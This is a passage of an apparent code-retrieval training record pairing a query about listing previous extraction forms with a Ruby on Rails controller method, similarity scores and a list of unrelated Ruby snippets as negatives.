"def parse(argv)\n begin\n parser.parse!(argv)\n rescue ::OptionParser::InvalidOption\n puts \"smeagol: #{$!.message}\"\n puts \"smeagol: try 'smeagol --help' for more information\"\n exit 1\n end\n return *(argv + [options])\n end",
"def test_options_parser\n input_short = '-oC:\\test -v -c pass'.split(\" \")\n input_long = '--output-path=C:\\test --verbose --copy-only pass'.split(\" \")\n\n [input_short, input_long].each do |input|\n options = parse_args(input)\n\n assert_equal('C:\\test', options[:output_folder])\n assert_true(options[:verbose])\n assert_true(options[:copy_only])\n assert_equal(['pass'], input)\n end\n end"
] |
[
"0.6415081",
"0.63070804",
"0.61446255",
"0.6038307",
"0.59607023",
"0.595367",
"0.5904518",
"0.5880006",
"0.5851824",
"0.5832778",
"0.58127904",
"0.5808244",
"0.5802768",
"0.579153",
"0.5789424",
"0.5763535",
"0.5751916",
"0.5747422",
"0.57225615",
"0.5712255",
"0.568699",
"0.5664287",
"0.56538564",
"0.56307024",
"0.56269276",
"0.5620065",
"0.56181467",
"0.5586021",
"0.5564646",
"0.55528045",
"0.5548683",
"0.5536909",
"0.5529682",
"0.55181944",
"0.5504015",
"0.54979306",
"0.5487862",
"0.5480215",
"0.5473646",
"0.54550743",
"0.54379654",
"0.5424805",
"0.54101384",
"0.5405495",
"0.5391876",
"0.5388534",
"0.53866243",
"0.53866243",
"0.5381499",
"0.5374413",
"0.5371874",
"0.5363857",
"0.53575987",
"0.5349797",
"0.5345663",
"0.53405046",
"0.5331941",
"0.5330778",
"0.53264326",
"0.53219044",
"0.5318223",
"0.53090096",
"0.53062826",
"0.5302408",
"0.529851",
"0.528679",
"0.52842337",
"0.5283597",
"0.52807236",
"0.52781826",
"0.52760637",
"0.52677315",
"0.5259949",
"0.5256249",
"0.5239312",
"0.522231",
"0.5218087",
"0.51896757",
"0.5179894",
"0.5174365",
"0.5169822",
"0.5159214",
"0.51583177",
"0.51494",
"0.51480246",
"0.513971",
"0.5135542",
"0.5130679",
"0.5127711",
"0.5127036",
"0.511609",
"0.5114696",
"0.5102046",
"0.50964427",
"0.509306",
"0.5084204",
"0.5068047",
"0.5064096",
"0.5062449",
"0.50620574"
] |
0.6243141
|
2
|
display the previous extraction forms that information can be borrowed from
|
def import_from_previous_forms
@extraction_form = ExtractionForm.find(params[:extraction_form_id])
# NEED ONLY TO LIST FORMS THAT I ARE NOT ALREADY BORROWING FROM THE CURRENT??
@previous_extraction_forms = ExtractionForm.find(:all,:conditions=>["project_id = ? AND id <> ?",params[:project_id], params[:extraction_form_id]])
@assigned_questions_hash, @included_sections_hash,@checked_boxes = [Hash.new,Hash.new,Hash.new]
# for each of the previously existing forms
@previous_extraction_forms.each do |ef|
# get the key questions assigned
@assigned_questions_hash[ef.id] = ExtractionForm.get_assigned_question_numbers(ef.id)
# get the sections included
@included_sections_hash[ef.id] = ExtractionFormSection.get_included_sections_by_extraction_form_id(ef.id)
@borrowers = ExtractionFormSectionCopy.get_borrowers(params[:extraction_form_id])
# determine which boxes should already be checked
already_entered = ExtractionFormSectionCopy.get_previous_data(params[:extraction_form_id], ef.id)
already_entered = already_entered.collect{|x| x.section_name}
@checked_boxes[ef.id] = already_entered
# get rid of key questions and publications
@included_sections_hash[ef.id].delete_at(0);@included_sections_hash[ef.id].delete_at(0);
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def print_history\n\t\[email protected]_with_index do | gen, n |\n\t\t\tmod_print = @modifications[n].to_s\n\t\t\tputs \"gen: \" + n.to_s + \" - \" + gen.word.to_s + \" | mod: \" + mod_print\n\t\tend\n\tend",
"def previous_autolist; end",
"def prev_line; end",
"def print_previous_lines(file, line, output)\n\n i = 1\n lines_to_print = []\n until $assembly_exists[file][line - i] == true or line == i - 1 do\n $line_printed[file][line - i] = true\n lines_to_print.push(highlight(IO.readlines(file)[line - i].gsub(\"<\", \"<\").gsub(\">\", \">\")))\n i += 1\n end\n lines_to_print.reverse.each { |i|\n output.write(\"<tr><th></th><th></th><th></th><th></th><th></th><th class=\\\"color7\\\">#{i}</th></tr>\")\n }\n\nend",
"def show\n extract_nxt_prv(@article)\n end",
"def show\n locals :extractor => current_extractor\n end",
"def generate_history_info(_doc_info)\n \"\"\n end",
"def previous_output\n @prev_out.reverse.unpack(\"H*\")[0]\n end",
"def output_details(files) \n @stdout.puts\n @stdout.puts \"Details\".bold\n files.each do |t|\n fname = t.path\n @stdout.puts \"File: %s\" % [((t.status == FileData::STATUS_OK) ? fname : fname.red)]\n @stdout.puts \"Includes: %s\" % [format_fds(t.includes)] unless t.includes.empty?\n @stdout.puts \"Included by: %s\" % [format_fds(t.included_by)] unless t.included_by.empty?\n @stdout.puts \"References: %s\" % [format_fds(t.references)] unless t.references.empty?\n @stdout.puts \"Referenced by: %s\" % [format_fds(t.referenced_by)] unless t.referenced_by.empty?\n unless t.status == FileData::STATUS_NOT_FOUND\n # show that part only if file exists\n @stdout.puts \"Size: %s (%d)\" % [format_size(t.size),t.size]\n if (t.docbook)\n @stdout.puts \"Type: DocBook, Version #{t.version}, Tag: #{t.tag}\"\n else\n @stdout.puts \"MIME: #{val_s(t.mime)}\"\n end\n @stdout.puts \"Timestamp: %s\" % [t.ts]\n @stdout.puts \"SHA1: %s\" % [t.checksum]\n end\n @stdout.puts \"Error: %s\" % [t.error_string.to_s.red] unless (t.error_string.nil?) \n @stdout.puts\n end\n end",
"def extract_new_preview\n delete_extract\n extract_preview\n end",
"def tool_tip\n\t\treturn \"Delimited list of custodian and path of each duplicate of a given item.\"\n\tend",
"def show\n author_count = @journal.journal_authors.count\n author_map = @journal.journal_authors.each_with_index.map{|a, i|\n if i == 0\n if a.first_name.blank?\n \"#{a.last_name}\"\n else\n \"#{a.last_name}, #{a.first_name.strip.first}.\"\n end\n elsif i < author_count -1\n if a.first_name.blank?\n \", #{a.last_name}\"\n else\n \", #{a.last_name}, #{a.first_name.strip.first}.\"\n end\n else\n if a.first_name.blank?\n \" & #{a.last_name},\"\n else\n \" & #{a.last_name}, #{a.first_name.strip.first}. \"\n end\n end\n }.compact\n @author_string = author_map.join(\"\")\n top = @journal.page_range_end\n vol = \" vol. #{@journal.journal_volume},\" unless @journal.journal_volume.blank?\n jo = \" no. #{@journal.journal_number},\" unless @journal.journal_volume.blank?\n #@first = \"#{@author_string} #{@journal.publication_year.strftime('%Y')}, '#{@journal.article_title}',\"\n #@ital = \"#{@journal.journal_title},\"\n #@rest = \"vol. #{@journal.journal_volume}, no. #{@journal.journal_number}, pp. #{@journal.page_range_start}-#{top}.\"\n @ref = \"#{@author_string} #{@journal.publication_year.strftime('%Y')}, '#{@journal.article_title}', <i>#{@journal.journal_title}</i>,#{vol}#{jo} pp. #{@journal.page_range_start}-#{top}.\"\n end",
"def extract_filename\n if(extract_breadcrumb)\n puts \"using breadcrumb as source\"\n end\n end",
"def show_unknown_list\n\t\tif @setup.secure then\n\t\t\turls = DispRef2Latest_cache.unknown_urls\n\t\telsif @setup['no_cache'] then\n\t\t\turls = DispRef2Latest.new( @cgi, 'latest.rhtml', @conf, @setup ).unknown_urls\n\t\telse\n\t\t\turls = DispRef2Cache.new( @setup ).unknown_urls\n\t\tend\n\t\tr = <<-_HTML\n\t\t\t<h3>URL Conversion</h3>\n\t\t\t<input name=\"dr2.current_mode\" value=\"#{RefList}\" type=\"hidden\">\n\t\t_HTML\n\t\tif @cache then\n\t\t\tr << \"<p>Picking up #{@setup['unknown.label']} from the cache.\"\n\t\telse\n\t\t\tr << \"<p>Picking up #{@setup['unknown.label']} from the latest view.\"\n\t\tend\n\t\tr << <<-_HTML\n\t\t\tURLs that match the Excluding list or the Ignore list are not\n\t\t\tlisted here.\n\t\t</p>\n\t\t<p>\n\t\t\tIf you don't want to see the URLs that you neither put into the\n\t\t\tConversion list or the Excluding list can be put in the Ignore\n\t\t\tlist. The Ignore list only affects the list shown here.\n\t\t\tPlease check <input name=\"dr2.clear_ignore_urls\" value=\"true\"\n\t\t\ttype=\"checkbox\">here if you want to reset the Ignore list.\n\t\t</p>\n\t\t_HTML\n\t\tif urls.size > 0 then\n\t\t\tr << <<-_HTML\n\t\t\t\t<p>Please fill in the titles for the URL(s) in the lower text\n\t\t\t\t\tbox(es) to put the URL(s) into the Conversion list. Please\n\t\t\t\t\tcheck the check box(es) if you want to put the URL(s) into the\n\t\t\t\t\tExcluding list.\n\t\t\t\t</p>\n\t\t\t\t<p>\n\t\t\t\t\tRegular expressions are made up automatically. You can edit them\n\t\t\t\t\tif you want.\n\t\t\t\t</p>\n\t\t\t\t<p>\n\t\t\t\t\tIn the titles, you can refer to the strings between\n\t\t\t\t\tparenthesis in the regular expression with something like\n\t\t\t\t\t"\\\\1" (backslash plus a number). You can also use\n\t\t\t\t\ta script fragment like "sprintf('[tdiary:%d]', $1.to_i+1)".\n\t\t\t\t</p>\n\t\t\t_HTML\n\t\t\tif ENV['AUTH_TYPE'] and ENV['REMOTE_USER'] and @setup['configure.use_link'] then\n\t\t\t\tr << <<-_HTML\n\t\t\t\t\t<p>\n\t\t\t\t\t\t[NOTE] Be aware that by clicking the URLs below, the author\n\t\t\t\t\t\tof the www site might know the URL of this page to edit and\n\t\t\t\t\t\tconfigure your diary.\n\t\t\t\t\t</p>\n\t\t\t\t_HTML\n\t\t\tend\n\t\t\tr << <<-_HTML\n\t\t\t\t<p>\n\t\t\t\t\tPlease edit URLs not shown here through "<a\n\t\t\t\t\thref=\"#{@conf.update}?conf=referer\">Today's link</a>"\n\t\t\t\t</p>\n\t\t\t\t<dl>\n\t\t\t_HTML\n\t\t\ti = 0\n\t\t\turls.sort.each do |url|\n\t\t\t\tshown_url = DispRef2String::escapeHTML( @setup.to_native( DispRef2String::unescape( url ) ) )\n\t\t\t\tif ENV['AUTH_TYPE'] and ENV['REMOTE_USER'] and @setup['configure.use_link'] then\n\t\t\t\t\tr << \"<dt><a href=\\\"#{url}\\\">#{shown_url}</a>\"\n\t\t\t\telse\n\t\t\t\t\tr << \"<dt>#{shown_url}\"\n\t\t\t\tend\n\t\t\t\tr << <<-_HTML\n\t\t\t\t\t<dd>\n\t\t\t\t\t\tAdd this URL to\n\t\t\t\t\t\t<input name=\"dr2.#{i}.noref\" value=\"true\" type=\"checkbox\">Excluding list\n\t\t\t\t\t\t<input name=\"dr2.#{i}.ignore\" value=\"true\" type=\"checkbox\">Ignore list<br>\n\t\t\t\t\t\t<input name=\"dr2.#{i}.reg\" value=\"#{DispRef2String::escapeHTML( DispRef2String::url_regexp( url ) )}\" type=\"text\" size=\"70\"><br>\n\t\t\t\t\t\t<input name=\"dr2.#{i}.title\" value=\"\" type=\"text\" size=\"70\">\n\t\t\t\t_HTML\n\t\t\t\ti += 1\n\t\t\tend\n\t\t\tr << <<-_HTML\n\t\t\t\t<input name=\"dr2.urls\" type=\"hidden\" value=\"#{i}\">\n\t\t\t\t</dl>\n\t\t\t_HTML\n\t\t\tunless @setup.secure or @setup['no_cache'] then\n\t\t\t\tr << <<-_HTML\n\t\t\t\t\t<p>\n\t\t\t\t\t\tUpdating the cache might take some time. Please wait after\n\t\t\t\t\t\tclicking the OK button.\n\t\t\t\t\t</p>\n\t\t\t\t_HTML\n\t\t\tend\n\t\telse\n\t\t\tr << <<-_HTML\n\t\t\t\t<p>Currently there is no #{@setup['unknown.label']}.</p>\n\t\t\t_HTML\n\t\tend\n\t\tr << <<-_HTML\n\t\t\t<h3>Regular expressions for antennae</h3>\n\t\t\t<p>URLs or titles matching these expression will be categorized as\n\t\t\t\tantennae.</p>\n\t\t\t<ul>\n\t\t\t<li>URL:\n\t\t\t\t<input name=\"dr2.antenna.url\" value=\"#{DispRef2String::escapeHTML( @setup.to_native( @setup['antenna.url'] ) )}\" type=\"text\" size=\"70\">\n\t\t\t\t<input name=\"dr2.antenna.url.default\" value=\"true\" type=\"checkbox\">Use default\n\t\t\t<li>Title:<input name=\"dr2.antenna.title\" value=\"#{DispRef2String::escapeHTML( @setup.to_native( @setup['antenna.title'] ) )}\" type=\"text\" size=\"70\">\n\t\t\t\t<input name=\"dr2.antenna.title.default\" value=\"true\" type=\"checkbox\">Use default\n\t\t\t</ul>\n\t\t\t_HTML\n\t\tr\n\tend",
"def display_list(b, e, file, current)\n lines = LineCache::getlines(file, \n Command.settings[:reload_source_on_change])\n if lines\n b = lines.size - (e - b) if b >= lines.size\n e = lines.size if lines.size < e\n print \"[%d, %d] in %s\\n\", b, e, CommandProcessor.canonic_file(file)\n [b, 1].max.upto(e) do |n|\n if n > 0 && lines[n-1]\n if n == current\n print \"=> %d %s\\n\", n, lines[n-1].chomp\n else\n print \" %d %s\\n\", n, lines[n-1].chomp\n end\n end\n end\n else\n errmsg \"No sourcefile available for %s\\n\", file\n return @state.previous_line\n end\n return b\n end",
"def extraer_final()\n @head=head.prev\n end",
"def track_string( info_index, result_index )\n\t\t\tresult=\" \" # This space is necessary for proper identification of whole page names\n\t\t\tn = self\n\t\t\trepeat_counter = 1\n\t\t\twhile n != nil\n\n\t\t\t\tnext_value = nil\n\t\t\t\tdisplay_value = n.info[ result_index ]\n\t\t\t\tif ( n.next[ info_index ] != nil )\n\t\t\t\t\tnext_value = n.next[ info_index ].info[ result_index ]\n\t\t\t\tend\n\n\t\t\t\tif ( display_value != next_value || n.next[ info_index ] == nil )\n\t\t\t\t\tresult=\"#{result}#{display_value}\"\n\t\t\t\t\tif repeat_counter > 1\n\t\t\t\t\t\tresult = \"#{result} (#{repeat_counter})\"\n\t\t\t\t\tend\n\t\t\t\t\tif ( n.next[ info_index ] != nil )\n\t\t\t\t\t\tresult = \"#{result} -> \"\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif ( display_value == next_value)\n\t\t\t\t\trepeat_counter = repeat_counter + 1\n\t\t\t\telse \n\t\t\t\t\trepeat_counter = 1\n\t\t\t\tend\n\n\n\t\t\t\tn = n.next[ info_index ]\n\t\t\t\tprevious_display_value = display_value\n\t\t\tend\n\t\t\tresult = \"#{result} \" # this space is necessary for proper identification of whole names\n\t\t\t\n\t\t\treturn result\n\t\tend",
"def completed_text_extraction\n end",
"def print_meta_head\n puts \"\\nDataset: Difference of #{@meta_data.name} between two datasets\"\n nil\n end",
"def create_back_and_continue_for_study form_id, current_page\n # determine which sections are included in the extraction form and assign them to an array\n # order the included pages\n included_sections = ExtractionFormSection.where(:extraction_form_id=>form_id, :included=>\"t\")\n page_names = included_sections.collect{|x| x.section_name}\n page_names = [\"publications\"] + page_names\n\n titles = {\n \"arms\"=>\"Study Arms\",\n \"design\"=>\"Design Details\",\n \"baselines\"=>\"Baseline Characteristics\",\n \"outcomes\"=>\"Outcome Setup\",\n \"results\"=>\"Outcome Results\",\n \"adverse\"=>\"Adverse Events\",\n \"quality\"=>\"Study Quality\"\n }\n # find the current page in the array\n position = page_names.index(current_page)\n\n # get the previous page info\n # if there are no more entries before this one, link back to the edit instructions\n previous_url = \"\"\n previous_title = \"\"\n if position == 0 || position.nil?\n previous_url = \"edit\"\n elsif position == 1\n previous_url = '../../publications'\n previous_title = 'Extraction Form List'\n else\n # otherwise get the previous entry and title\n previous_url = page_names[position-1]\n previous_title = titles[previous_url]\n end\n\n # get the next page info\n # if there are no entries after this one, link to the summary page\n next_url = \"\"\n next_title = \"\"\n if position == 0 || position.nil?\n next_url = \"extraction_forms/#{form_id}/#{page_names[1]}\"\n next_title = titles[page_names[1]]\n elsif position == page_names.length-1\n next_url = \"summary\"\n else\n next_url = page_names[position+1]\n next_title = titles[next_url]\n end\n\n if previous_url == \"edit\"\n render :partial=>\"studies/first_section_back_buttons\", :locals=>{:next_url=>next_url, :next_title=>next_title}\n elsif next_url == \"summary\"\n render :partial=>\"studies/last_section_continue_buttons\",:locals=>{:previous_url=>previous_url, :previous_title=>previous_title}\n else\n render :partial=>'studies/back_and_continue_buttons', :locals=>{:previous_url=>previous_url,:next_url=>next_url,:previous_title=>previous_title,:next_title=>next_title}\n end\n end",
"def dump_reference_info reference\n if reference.journal_id.nil?\n puts \"Reference has no journal id: \" + reference.id.to_s\n else\n ref_journal_name = Journal.find(reference.journal_id).name\n puts (\" ref journal: \" + ref_journal_name)\n end\n\n matched_hol_journal_name = Journal.find(@antcat_journal_id).name\n puts (\" matched antcat journal name: \" + matched_hol_journal_name)\n\n original_hol_journal_name = @journal_matcher.get_original_hol_journal matched_hol_journal_name\n\n\n if original_hol_journal_name.nil?\n puts (\" original hol journal name (perfect match): \" + matched_hol_journal_name)\n else\n # if this is nil, it's because we have a 1:1 string mapping between antcat and hol's understanging of the journal name\n puts (\" original hol journal name: \" + original_hol_journal_name)\n end\n end",
"def print_modifications\n\t\[email protected]_with_index do | mod, n |\n\t\t\tputs n.to_s + \" - \" + mod.to_s\n\t\tend\n\tend",
"def main_text(record)\n text = \"\"\n record.each_with_index do |record_entry, idx|\n if record_entry[2] == \"called\"\n text += opener(record_entry, idx)\n else\n text += closer(record_entry)\n end\n end\n text\nend",
"def display_list(b, e, file, current)\n lines = LineCache::getlines(file, Command.settings[:reload_source_on_change])\n b = [b,1].max\n e = lines.size if lines.size < e\n print \"[%d, %d] in %s\\n\", b, e, file\n\n if lines\n return @state.previous_line if b >= lines.size\n b.upto(e) do |n|\n if n > 0 && lines[n-1]\n if n == current\n print \"=> %d %s\\n\", n, lines[n-1].chomp\n else\n print \" %d %s\\n\", n, lines[n-1].chomp\n end\n end\n end\n else\n errmsg \"No sourcefile available for %s\\n\", file\n return @state.previous_line\n end\n return e == lines.size ? @state.previous_line : b\n end",
"def show\n #author_string\n author_count = @book.book_authors.count\n author_map = @book.book_authors.each_with_index.map{|a, i|\n if i < author_count -1\n if a.first_name.blank?\n \"#{a.last_name} & \"\n else\n \"#{a.last_name}, #{a.first_name.strip.first}. & \"\n end\n else\n if a.first_name.blank?\n \"#{a.last_name}\"\n else\n \"#{a.last_name}, #{a.first_name.strip.first}.\"\n end\n end\n }.compact\n @author_string = author_map.join(\"\")\n @be = \"#{@book.book_edition}, \" unless @book.book_edition.blank?\n #@first = \"#{@author_string} #{@book.publication_year.strftime('%Y')},\"\n #@ital = @book.book_title#Applied solid mechanics\n #@rest = \", #{@book.book_edition}, #{@book.publisher_name}, #{@book.publisher_city}.\"\n @ref = \"#{@author_string} #{@book.publication_year.strftime('%Y')}, <i>#{@book.book_title}</i>, #{@be}#{@book.publisher_name}, #{@book.publisher_city}.\"\n end",
"def print_trail_info\n puts \"Rating: #{self.rating}\"\n puts \"Distance: #{self.distance} mi\"\n puts \"Surface Type(s): #{self.surface}\"\n puts \"Brief Description: #{self.info}\\n\"\n puts \"--------------------------------------------------------------------------------\\n\"\n end",
"def get_Previous()\n \t return @outputs[\"Previous\"]\n \tend",
"def get_Previous()\n \t return @outputs[\"Previous\"]\n \tend",
"def get_Previous()\n \t return @outputs[\"Previous\"]\n \tend",
"def get_Previous()\n \t return @outputs[\"Previous\"]\n \tend",
"def get_Previous()\n \t return @outputs[\"Previous\"]\n \tend",
"def record_edit_display\n string = \"1. Title: #{title}\\n\"\\\n \"2. Author: #{author}\\n\"\\\n \"3. ISBN: #{isbn}\\n\"\n if library.nil?\n string += \"4. Library: None\\n\"\n else\n string += \"4. Library: #{library.branch_name}\\n\"\n end\n string += \"5. Check in/out\"\n end",
"def read_details\r\n read_detail while peek == 'LX'\r\n self\r\n end",
"def display_info\n\t\tputs \"Total track number: #{@track_list.length}\"\n\t\tputs \"Total artist number: #{@artist_list.length}\"\n\t\tputs \"Last three played track:\"\n\t\t@last_played.each do |last_played_track|\n puts \"------------ Track Info -------------\"\n\t\t\tputs \"#{last_played_track.to_s}\"\n\t\tend\n\tend",
"def show_history\n pattern = Regexp.new(@args[0] || /./)\n\n @history.each_with_index do |item, index|\n puts \"#{index+1}: #{item}\" if item =~ pattern\n end\n end",
"def import_show \n end",
"def prev\n fil_header[:prev]\n end",
"def display_exemple\n @array.each_with_index do |element, index|\n \tif index < @array.count-1 \n \t\tputs \"(data : #{element.value}) --> #{element.next_node.value}\"\n \telse\n \t\tputs \"(data : #{element.value}) --> #{element.next_node}\"\n \tend\n end\n end",
"def originalsourceform; end",
"def show\n @date_component= Time.diff(@trailer.time_out, @trailer.time_in,'%y, %M, %w, %d and %h:%m:%s')\n @trailer.time_taken_number = @date_component[:diff].to_s\n\n\n # load the PO information to display po #\n if @trailer.purchaseorder_id !=0\n @trailer_po = PurchaseOrder.find(@trailer.purchaseorder_id)\n @trailer_po_nf = false\n else\n # set to 0 for the Show screen\n @trailer_po_nf = true\n end\n\n # load the Carrier information for display\n if @trailer.carrier_id !=0\n @trailer_carrier = Carrier.find(@trailer.carrier_id )\n @trailer_carrier_nf = false\n else\n @trailer_carrier_nf = true\n end\n\n # load the Worker information for display\n if @trailer.badge_nbr !=0\n @trailer_worker = Worker.where(badge_nbr: @trailer.badge_nbr).take\n @trailer_worker_nf = false\n else\n @trailer_worker_nf = true\n end\n end",
"def setup_abst_info(record)\n text = []\n record.find_all{|f| f.tag === \"520\" }.each do |field|\n textstr = ''\n field.each do |sf|\n textstr << sf.value + ' ' unless [\"c\", \"2\",\"3\",\"6\"].include?(sf.code)\n end\n text << textstr\n end\n Rails.logger.debug \"********es287_dev #{__FILE__} #{__LINE__} #{__method__} #{text[0]}\"\n text\n end",
"def render_inproceedings(p)\n r = \"\"\n r += p.authors.map {|a| a.abbreviated_name}.joined_by_comma_and_and + \". \"\n r += p.title.detex.titlecase + \". \"\n r += \"In \"\n\n if p.editors.size > 0 then\n r += p.editors.map {|e| e.abbreviated_name}.joined_by_comma_and_and + \", editors, \"\n end\n\n r += text_for_field(\"Booktitle\", p, :postfix => \"\").detex\n\n # TODO simplify this complex nested if structures that result from the conversion\n # from BibDesks abbrv template\n if field(p,\"Volume\") then # <$fields.Volume?>\n r += text_for_field(\"Volume\", p, :prefix => \", volume \", :postfix => \"\") # <$fields.Volume/>\n if field(p,\"Series\") then # <$fields.Series?>\n r += text_for_field(\"Series\", p, :prefix => \" of \", :postfix => \"\") # <$fields.Series/>\n end # </$fields.Series?>\n else #<?$fields.Volume?>\n if field(p,\"Number\") then # <$fields.Number?>\n r += text_for_field(\"Number\", p, :prefix => \" , number \", :postfix => \"\") #<$fields.Number/>\n if field(p,\"Series\") then # <$fields.Series?>\n r += text_for_field(\"Series\", p, :prefix => \" in \", :postfix => \"\") # <$fields.Series/>\n end #</$fields.Series?>\n else #<?$fields.Number?>\n r += text_for_field(\"Series\", p, :prefix => \", \", :postfix => \"\") # <$fields.Series.stringByPrependingCommaAndSpaceIfNotEmpty/>\n end # </$fields.Number?>\n end # </$fields.Volume?>\n\n if field(p,\"Pages\") then\n r += text_for_field(\"Pages\", p, :prefix => \", pages \", :postfix => \". \").detex\n else\n r += \". \"\n end\n\n if field(p,\"Address\") then # <$fields.Address?>\n r += text_for_field(\"Address\", p, :prefix => \" , \", :postfix => \" \") # , <$fields.Address/>\n r += month_for_field(\"Month\", p, :prefix => \" , \", :postfix => \" \") # , <$fields.Month.stringByAppendingSpaceIfNotEmpty/>\n r += text_for_field(\"Year\", p, :postfix => \". \").detex # <$fields.Year/>. \n r += text_for_field(\"Organization\", p, :postfix => \", \").detex # <$fields.Organization/> , \n r += text_for_field(\"Publisher\", p, :postfix => \" \").detex # <$fields.Publisher/>\n else # <?$fields.Address?>\n r += text_for_field(\"Organization\", p, :prefix => \", \", :postfix => \", \").detex # <$fields.Organization/> ,\n r += text_for_field(\"Publisher\", p, :postfix => \", \").detex # <$fields.Publisher/> , \n r += month_for_field(\"Month\", p, :postfix => \" \") # <$fields.Month.stringByAppendingSpaceIfNotEmpty/>\n r += text_for_field(\"Year\", p).detex # <$fields.Year/>. \n end # </$fields.Address?>\n\n r += text_for_field(\"Note\", p, :prefix => \", \").detex # <$fields.Note.stringByPrependingFullStopAndSpace/>.\n r += \".\"\n return r\nend",
"def history; end",
"def history; end",
"def history; end",
"def previous\n @faq = @faq.previous_version\n show\n end",
"def prev_line=(_arg0); end",
"def listinfo\n puts \"排名:#{@no}\"\n puts \"月份:#{@month}\" if @month\n puts \"标签: #{@subtag}\" if @subtag\n puts \"标题:#{@title}\"\n puts \"集数:#{@episode}\" if @episode\n puts \"链接:#{@link}\"\n puts \"<bilibili独家哟!>\" if @bilibilionly_flag\n puts \"--------------------\"\n end",
"def inspect\n a = []\n reverse_each { |i|\n a.push \">\" unless /\\A[<>]/ =~ i\n a.push i.inspect\n }\n last = []\n if @last then\n last.push \">\" unless /\\A[<>]/ =~ @last\n last.push @last.inspect\n end\n a.push '#eof' if @eof\n \"((#{a*' '}) l(#{last*' '}) . #{source.inspect})\"\n end",
"def show\n @diagnosed_disorders = @patient.get_selected_disorders \n @detected_disorders = @patient.get_detected_disorders \n @gene = @patient.pedia.limit(10).order(\"pedia_score DESC\") \n @causing_muts = @patient.disease_causing_mutations\n result_link = @patient.result_figures.take\n if !result_link.nil?\n @result_link = result_link.link.split('/')[-1]\n end\n end",
"def show\n @has_leftovers = @leftover.has_leftovers\n end",
"def show\n header(@keyword)\n counter(list).each_with_index do |el, index|\n print \"#{index + 1} - #{el.first}\"\n (20 - el.first.length).times { print '-' }\n print \"#{el[1]} views\"\n puts\n end\n end",
"def display ( )\n puts 'Parser states: ' + @states.size.to_s\n\n @states.each do |st|\n\tputs\n\tputs '*' * 80\n\tputs 'state: ' + st.statename\n\tputs 'branches: '\n\tst.branches.each do |br|\n\t puts ' ' + @states[br].statename\n\tend\n end\n end",
"def display_text word\n raise \"word should be string\" unless word.is_a? String\n w = @form.by_name[\"tv\"]; \n lines = get_data word\n #file = `ri -f bs #{word}`\n #lines = convert_man_to_ansi file\n return if lines.nil? || lines.size == 0\n # ansi can have overflow\n w.add_content(lines, :content_type => :ansi, :title => word)\n\n # Since i am trying without border, so need to put class on top right\n header = @form.by_name[\"header\"]; \n header.text_right(word)\n\n $visited << word unless $visited.index(word)\n #w.add_content(lines, :title => word)\n w.buffer_last\nend",
"def do_back\n update_screen(get_step_content(@step - 1, @editor.value, @output.value))\n end",
"def info\n @encoding = find_enoding\n puts \"INFO:\"\n print 'File name '; print \"#{@file_name}\\n\".colorize(:green)\n print 'File headers '; print \"#{@file_headers}\\n\".colorize(:green)\n print 'File rows number '; print \"#{@data.size}\\n\".colorize(:green)\n print 'File encoding '; print \"#{@encoding}\\n\".colorize(:green)\n\n ## temp decision\n if @output_file_name\n print 'Output File '; print \"#{@output_file_name || 'nil'}\\n\".colorize(:green)\n end\n end",
"def extractionforms\n @study = Study.find(params[:study_id])\n @study_extforms = StudyExtractionForm.where(:study_id => @study.id).all\t\t\n @project = Project.find(@study.project_id)\n session[:project_id] = @study.project_id \n @project = Project.find(@project.id)\t\n makeStudyActive(@study)\n\n # get the study title, which is the same as the primary publication for the study\n @study_title = PrimaryPublication.where(:study_id => @study.id).first\n @study_title = @study_title.nil? ? \"\" : @study_title.title.to_s\n @extraction_form_list_array = Study.get_extraction_form_list_array(@project.id)\n @study_extforms = StudyExtractionForm.where(:study_id => @study.id).all\t\t\n @study_extraction_form = StudyExtractionForm.new\n @ext_forms_list = @study_extforms\n end",
"def details\r\n return @description + \": \" + \"#{@extra_cost}\" + \". \" + @basic_shifted.details\r\n end",
"def _display(replace)\n\t\treturn @contents._display(replace)\n\tend",
"def generate_prev\n session[:solution] == nil && generate\n \n session[:marker] -= NPREVIEWS\n\n if session[:marker] < 0\n if session[:solution].length.remainder(NPREVIEWS) == 0\n session[:marker] = session[:solution].length - NPREVIEWS\n else\n session[:marker] = session[:solution].length - session[:solution].length.remainder(NPREVIEWS)\n end\n end\n\n session[:solution] && load_sections\n end",
"def to_s\n aux = \"Título del examen: \" + @top.value + \"\\n\"\n aux += \"------------------------------------------------- \\n\"\n act = @top.next\n cont = 1\n while (act != nil)\n\t aux += cont.to_s + \") \" + act.value.to_s\n\t aux += \" \\n ++++++++++++++++++++++++++++++++++ \\n\"\n\t act = act.next\n\t cont += 1\n end\n return aux\n end",
"def handle_previous_reading\n puts \"finding your fortune...🔮 🔮 🔮 please stand by...🔮 🔮 🔮\"\n self.list_reading_dates\n end",
"def information_header\n info_table_src = TTY::Table.new\n @defaults.label_value_pairs.each {|pair| info_table_src << pair}\n info_table_src << [\"Disposition Columns:\", MmMovie.dispositions.join(', ')]\n info_table_src << [\"Transcode File Location:\", self.tempfile ? tempfile&.path : 'n/a']\n\n info_table = C.bold(\"Looking for file(s) and processing them with the following options:\\n\").dup\n info_table << info_table_src.render(:basic) do |renderer|\n a = @defaults.label_value_pairs.map {|p| p[0].length }.max + 1\n b = OutputHelper.console_width - a - 2\n renderer.alignments = [:right, :left]\n renderer.multiline = true\n renderer.column_widths = [a,b]\n end << \"\\n\\n\"\n end",
"def diagn; \"; Src: #{@currentSource ? @currentSource : '<no source>'}\" end",
"def libraries_edit_display\n string = \"\"\n self.library.each do |l|\n string += \"#{l.branch_name}\\n \"\n end\n string\n end",
"def view_election_history\n\t\tputs \"\"\n\t\[email protected] do |election|\n\t\t\tprint \"Term #{election.term}: #{election.winner.name}, #{election.winner.party} \"\n\t\t\tputs \"(#{election.percent}% of vote, #{election.candidates.size} ran, #{election.total_voters} citizens voted)\"\n\t\tend\n\t\tputs \"No elections yet!\" if @elections.none?\n\t\tmain_menu\n\tend",
"def show_details\n print @name.upcase + \": #{@name} has #{@moons} moons and a diameter of #{@diameter} miles.\"\n print \"It is #{@color} in color and associated with the #{@zodiac} zodiac sign.\"\n puts \"#{@name} is #{@distance} miles from the sun and has a solar rotation of #{@rotation} earth days!\"\n end",
"def showprevious\n if @session.pointer > 0\n @session.previous\n @session.previous\n display @session.current_screen\n @session.next\n else\n puts \"There is no previous screen.\"\n end\nend",
"def inspect_details\n ''\n end",
"def current_entry; end",
